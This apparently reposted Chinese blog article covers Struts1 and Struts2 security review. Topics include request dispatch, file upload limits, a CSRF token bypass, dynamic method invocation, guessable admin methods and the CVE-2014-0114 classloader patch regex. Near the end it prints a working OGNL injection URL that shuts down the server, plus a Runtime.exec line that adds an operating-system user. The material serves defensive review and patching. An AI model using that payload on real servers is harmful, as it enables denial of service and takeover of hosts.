浅谈struts1和struts2框架(转载+整理)

Struts是目前J2ee Web开发中最常见使用的MVC框架。由于使用框架编写的应用程序与原生jsp编写的Web程序区别较大,因此有必要专门撰写一篇文档描述Struts框架的安全特性,及其检查方法。 

 

Struts介绍 

 

Struts是一套MVC框架,目前分为两个大版本号。1.x系列,已经放弃开发,是一个较为简单的框架,安全特性也较少。2.x系列则是直接与webwork这个框架合并之后基于webwork重新开发的一套全新框架。目前主流使用框架基本就是2.x系列。 

 

Struts1 架构图

163834_tl7E_1162665.jpg

图 2.1 struts1架构图 

 

如上图所示,struts 1.x系列的模型主要分为几个部分:最主要的Dispatcher、Controller是使用J2ee的servlet实现的,用户请求过来,通过用户自定义的一系列过滤器(filter)之后,servlet分析匹配其url结构,再转给各action类,最后进行form的填充控制、View层的调用展现。其主要代码是在action中实现的,可以根据struts-config.xml中的配置,根据url->action->view的对应关系一一查看其代码。Struts1中的统一控制一般做在filter中,或者由form的校验函数做数据有效性控制。 

 

Struts2 

 163649_HuM6_1162665.jpg 

图 2.2 struts2架构图 

 

而struts2.x的架构就复杂很多,也细致的多。用户的请求过来,先经过一系列过滤器(Filter实现),最后一个过滤器通过actionProxy才是真正对不同的action派发调用,其中的派发规则由struts.xml定义。这几部分相加,才类似于之前Struts1中的ActionServlet的作用。在调用action之前,还有类似Hook的机制,在action执行前后、view执行前后分别有可以统一执行的用户自定义代码。在struts2的说法中,叫做拦截器(Interceptor)。通常struts2中的统一控制就在过滤器、拦截器、校验器这几个方面做控制,其中后两者最普遍。 

 

如何区分Struts框架应用程序 

 

URL中以.do结尾的,struts1框架;以.action结尾的,struts2框架。 

 

Struts1由于是通过servlet进行的action控制,因此主要配置文件在WEB-INF/web.xml及struts-config.xml这两个文件中;Struts2的配置文件则主要就是WEB-INF/struts.xml。 

 

目录组织结构中如果有Filter、Interceptor的定义实现,通常是Struts2的代码。 

 

如果有专门的xxxForm.java代码,一般是Struts1的项目;Struts2通常只有一些简单的Java Bean定义作为模型。 

 

Struts框架安全特性 

 

Struts1的安全测试方法 

 

之前我们说过,Struts1中的统一控制一般做在filter中,或者由form的校验函数做数据有效性控制。因此,无论是哪一方面的统一控制,例如参数的统一过滤、验证是否登录、文件上传验证之类,通常是在Filter中进行的;而参数的有效性,例如email只允许[0-9a-zA-Z_@]。 

 

建议在读代码时,先通读web.xml和struts-config.xml两个文件,从web.xml中了解filter的设置,将所有filter通读一遍,了解总体上做了什么限制,再从struts-config.xml了解action与actionForm、View的对应关系,然后根据这些关系,检查form中的参数有效性验证方法(validate函数)是否做了足够的检查,以及view中是否有基本的html过滤。具体测试case这里不多言,只要找对地方,java的测试case和其他语言也基本都差不多。 

 

Struts1安全特性 

 

参数获取 

 

通常使用J2ee中最常见的Request.getParamter()方法获取用户输入。此方法结合了GET/POST中提交的变量,如果两者有重名,则GET获取的优先,获取的内容非常原始,没有任何改变。不同于PHP中的$_REQUEST变量,Request.getParamter方法并没有包含cookie中获取的变量。 

 

actionForm中获取的变量也是框架通过上述方法获取的,因此虽然看起来是直接使用没有通过函数获取,实际上也是一样。 

 

文件操作 

 

文件下载在struts中并没有做任何限制。在文件上传中,一般是使用Apache-Common-FileUpload的组件。其中也未替代用户做任何限制和检查,需要手工实现扩展名判断、验证等代码。因此如果action中的逻辑代码没有做任何检查,基本可以判断存在问题。 

 

前端防范 

 

一般Struts1使用jsp作为默认的前端引擎,常见的过滤方式与jsp相同,不做赘述。 

 

CSRF防范 

 

Struts1提供了一个生成并验证Token的api(isTokenVaild),在检查是否防范了CSRF的时候,可以查看应用程序是否使用了这个API(也可以查看提交的请求包中是否包含org.apache.struts.taglib.html.TOKEN这个变量)。如果未使用,就可以检查是否在Filter之类的地方做了统一的自己实现的CSRF token验证防范。 

 

Struts1提供的Token值是存储在SESSION中的,因此这里就存在一个bug。由于Token在session中保存的变量名不变,因此如果一个用户打开了多个窗口,只有最后一个窗口设置的token值有效。这里需要多加注意。 

 

其他 

 

此外,Struts1有个特性:一个Action类在程序周期中只有一个实例,常驻内存。因此,在这个类中的属性和变量是共享的,不同用户访问的不同请求都是如此。因此如果程序中的逻辑依靠Action内部变量传送敏感信息,则其他用户也可能改写、读取。 

 

Struts2的白盒安全测试方法 

 

Struts2的安全测试主要方法论与S1一致,也多是通过查看struts.xml和web.xml中的配置,了解url->action->view的关系,以及不同url中涉及到的过滤器、拦截器、验证器(一般在validation.xml和className-validation.xml中配置)的关系。了解了这些,在头脑中有一个清晰的数据流脉络,然后再检查这些控制措施是否做到位,是否有疏漏即可。一般来说,S2的控制大都在拦截器和验证器中进行,常见的有是否登录、文件上传格式检查、参数有效性检查等。S2默认提供了很多拦截器,做了以上功能,这些在下面的安全特性中会提及。 

 

Struts2的安全特性 

 

参数获取 

 

与S1不同,S2中的参数获取虽然也可以通过Request.getParamter()方法,但是很少使用。因为action类中定义过getter/setter方法的变量,如果用户在请求中提交了同名的变量,框架会自动将其值注入到action实例中的对应变量中去,并且会做响应的类型转换。这一切是通过defaultStack中默认的Param拦截器实现的,利用拦截器,在action执行前,将用户传入的数值使用Request.getParamter()获取后并经过解析自动注入。 

 

这一点请一定注意。因为如果action中的内部成员变量之前有一个默认值,一旦用户提交了同名变量,就可以覆盖此值。这样就会直接导致后续依赖此默认值的逻辑发生重大变化。 

 

文件操作 

 

下载文件没有限制,需要自行编写代码控制。 

 

上传文件,S2默认有一个FileUploadInterceptor的拦截器,提供了三种限制方法,都在struts.xml中配置: 

 

allowedTypes(允许文件的mime-type值,可伪造) 

 

maxmumSize(允许文件最大的字节数) 

 

allowedExtensions(允许文件的扩展名) 

 

由于早期S2框架文档的误导,提供的例子程序中只限制了allowedTypes,因此导致多数s2应用程序存在修改http包修改mime-type导致任意上传漏洞。因此在做安全测试的时候,一定要检查是否设置了allowedExtensions作为白名单,而不单单是allowedTypes。另外即使做了扩展名限制,请注意这个可能还存在多扩展名文件的问题。 

 

如果上传没有使用默认的FileUploadInterceptor,请检查程序逻辑中是否对文件上传做了严格的限定。 

 

CSRF防范 

 

S2中也提供了防范重复提交的Token机制。与S1不同的是此次他是使用TokenInterceptor这个拦截器的方式,在action执行前统一进行验证。Token值也是保存在session中,因此同样存在S1框架中Token的bug。 

 

此外,这个Token机制还有个可以被绕过的0day漏洞:由于TokenInterceptor在验证用户提交上来的请求时,先从用户请求中的struts.token.name值作为session中的key,然后比对用户请求中提交的token值是否与session中key对应的值相匹配,如匹配则通过。但是,如果攻击者预先知晓session中已保存的一个值,例如username=admin,则攻击者可以直接将csrf包中的struts.token.name设置为username,然后token值设置为admin,即可轻易绕过csrf token防范。 

 

因此,如果经检查的应用中使用了默认的token拦截器,请提醒开发人员弥补以上不足。如自行实现防重复提交的代码,请仔细检查其逻辑的严密性。 

 

动态方法调用 

 

Struts2中存在一个特性,叫做动态方法调用。当你请求actionName!methodName.action这样的URL时,框架不会调用action中的默认入口execute(),而是会寻找action中名叫methodName的方法,并直接调用。通过这种方式,可能暴露action类中未经过验证的内部接口,也可能绕过一些权限验证。 

 

因此,在测试过程中,如果程序本身没有使用到这个特性,请建议RD在struts.xml中设置一个constant将struts.enable.DynamicMethodInvocation属性设置为false,禁止此特性。 

 

前端模板 

 

S2自带的taglib中的变量输入都经过了自动html转义。一般无问题。但是请注意参数名前带感叹号,则表示没有转义。安全检测时请务必注意。 

 

如果使用其他模板引擎,请根据其他引擎的过滤规则进行检查。 

 

其他 

 

与s1不同,s2中每一个请求对应一个不同的action实例,没有action实例中变量共享的问题。 

 

S2的action中execute方法,根据方法返回的值来决定最后调用哪一个view模板。因此,结合动态方法调用和自动变量注入的特性,如请求actionName!getUsername.action?username=pass。而action中对应“pass”这个返回结果的view又是个包含敏感信息的模板,就可能产生问题。因此在安全测试的过程中需要特别注意

 

  • 框架特点及不良习惯容易引发的安全问题:越权操作

  •       这也是个常见的问题,为什么还是有人犯这个错误了(不是每个互联网公司都有SDL的,目前来看,公司业务大,架构不一定完整,安全架构更无从说起)?安全漏洞或问题的本质其实都很简单
  •  

     越权操作:是个很常见的安全问题,应用开发或设计者对访问权限没有考虑或考虑不全。他们即希望于用个未知的访问URL来打发不熟悉开发的攻击者,但如果熟悉就很容易被猜解了。

     

      MVC模式的框架,如:Struts2(其他常规框架或自己写的框架同理,这里框架优点我们就不去讨论了!),它对访问控制弄了个类似默认的规范,对于同一业务对象或者叫DTO的操作都可以(注意这里的“可以”之词,是不强迫你,但默认要你按这个流程开发了,由开发者决定的问题。)放在一个类里面实现,而不同的操作(无非:C(增)R(查)U(改)D(删)等操作,)通过类里面的不同方法实现,但就是这个规范的引导加上一些开发时对实现方法的命名不良习惯及诸多因素的影响,可能导致安全问题的发生,如:

     

     对于有权限考虑的应用,如果是个注册型的网站,简单拆分一下CRUD操作权限(在这里我们只讨论越权,平行权限之类等问题不考虑了!),C(增加即注册),及U(修改)用户是可以触及;而R(查询)、D(删除)只有管理员才能操作的,实例代码:

     import com.opensymphony.xwork2.ActionSupport;

     public class MemberAction extends ActionSupport  {
        

         public String register()  {
             //注册用户,实例代码略...
             return REGISTER;
        } 


         public String add()  {
             //保存用户,实例代码略...
             return ADD;
        } 
        
         public String getList()  {
             //查询用户,实例代码略...
             return LIST;
        } 
        
        

             //其他方法省略...

     


         public String execute()  {

      
             return SUCCESS;
        } 


     

     

     当用户注册时,先访问:http://xxx.xxx.xxx/member.do?method=register注册,再通过:http://xxx.xxx.xxx/member.do?method=add保存数据。如果是一个了解j2ee开发流程的攻击者,马上就会猜解到method=xxx其他方法名(如关键字:list、getList)来访问管理员权限:http://xxx.xxx.xxx/member.do?method=getList。

     

     

    在这里绝对不是偶然,在实际开发中,也不会将方法名称搞得很复杂,而且开发者在对框架学习之初对add、getList、delete等,这样类似枚举类型的关键字选词产生依赖,形成习惯,熟悉攻击者就很容易猜解它。

     

     

    值的注意的是,这里越权问题的产生,有一个很大因素:框架提供一个业务对象操作的类似规范(在同一个Action类中操作,框架不强迫,但结合上下文容易出现安全问题。主要是说这个问题)!

     

 

对于javaEE开发者来说,很多javaEE开发框架在实现参数数据绑定时存在越权操作class对象问题早期apache基金会开发的struts1框架也不例外。2014年4月27日,apache struts官方已确认

struts1框架存在classloader操控漏洞:

 Apache官网地址:

The Struts security team confirmed thatclassloader manipulation is also possible in Struts 1


但apache struts官方表示:struts1已经EOL(End-of-Life)下线不再提供官方支持了,漏洞不予修复。

Apache Struts 1 End-Of-Life (EOL) Announcement

The Apache Struts Project Team would like to inform you that the Struts 1.x web framework has reached its end of life and is no longer officially supported.

Started in 2000, Struts 1 had its last release - version 1.3.10 - in December 2008. In the meantime the Struts community has focused on pushing the Struts 2 framework forward, with as many as 23 releases as of April 2013. Taking this into account, announcing Struts 1 EOL is just the official statement that we have been lacking volunteer support for some time now and that users should not rely on a properly maintained framework state when utilizing Struts 1 in projects. See the following Q/A section for more details.

See also: Apache Struts 1 EOL Press Release


 

但是就目前从互联网应用的情况来看,使用struts1的java web应用还是广泛存在。为了方便struts1框架的“忠实粉丝”使用者,腾讯安全应急响应中心分享了Struts1 ClassLoader漏洞修复补丁,建议广大厂商尽快修复漏洞。
 

修复原理:
 

思路:只需在参数绑定之前过滤掉含有恶意代码的请求参数,便可以达到修复漏洞的目的(与struts2修复思路类似)。

在struts1中,存在这么一个类:org.apache.struts.util.RequestUtils,该类用于处理ActionForm request参数。而org.apache.struts.util.RequestUtils类的调用执行发生于参数绑定之前。
 

简单说来,修改该类源码,添加类似struts2的正则过滤代码,便可修复漏洞。详细java代码如下:
 

 

/*
    2014/04/27 - CVE-2014-0114 security problem patch.
*/

public static final String regex ="(.*\\.|^|.*|\\[('|\"))(c|C) lass(\\.|('|\")]|\\[).*";if (stripped.matches(regex)) {

          log.info("ignoreparameter: paramName=" + stripped);

          continue;

}

 

只要请求的参数名匹配上恶意代码规则,循环便continue跳过该参数的处理过程。
 

修复方案:
 

由于struts1 1.2系列版本和1.3系列版本存在较大差异,腾讯安全应急响应中心推出2大系列版本的升级补丁。

对于struts1.2.*系列版本,可删除J2EE lib目录下的struts.jar,替换成附件中的struts.jar;

对于struts1.3.*系列版本,可替换J2EE lib目录下的struts-core-1.3.xxx.jar为附件中的struts-core-1.3.10.1.jar

然后重启webserver即可修复漏洞。

struts1 补丁下载

 

 

struts2漏洞原理及解决办法

  • 1、原理
  • Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:

    ?user.address.city=Bishkek&user['favoriteDrink']=kumys 
    ONGL将它转换为:
    action.getUser().getAddress().setCity("Bishkek")  
    action.getUser().setFavoriteDrink("kumys") 

    这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。 www.2cto.com

    为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:

     


    此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
    ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

     


    转义后是这样:

    ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

     


    OGNL处理时最终的结果就是

    java.lang.Runtime.getRuntime().exit(1);  //关闭程序,即将web程序关闭

    类似的可以执行
    java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)
    只要有权限就可以执行任何DOS命令。

    2、解决方法
    网上很多文章都介绍了三种解决方法,个人觉得将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4
    下载到的更新包中有很多jar包,我系统中主要用到以下几个替换掉旧版本的:
    commons-lang3-3.1.jar        (保留commons-lang-2.6.jar)
    javassist-3.11.0.GA.jar        (新加包)
    ognl-3.0.5.jar            (替换旧版本)
    struts2-core-2.3.4.1.jar    (替换旧版本)
    xwork-core-2.3.4.1.jar        (替换旧版本)

 

 

转载于:https://my.oschina.net/Sallens/blog/311505

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值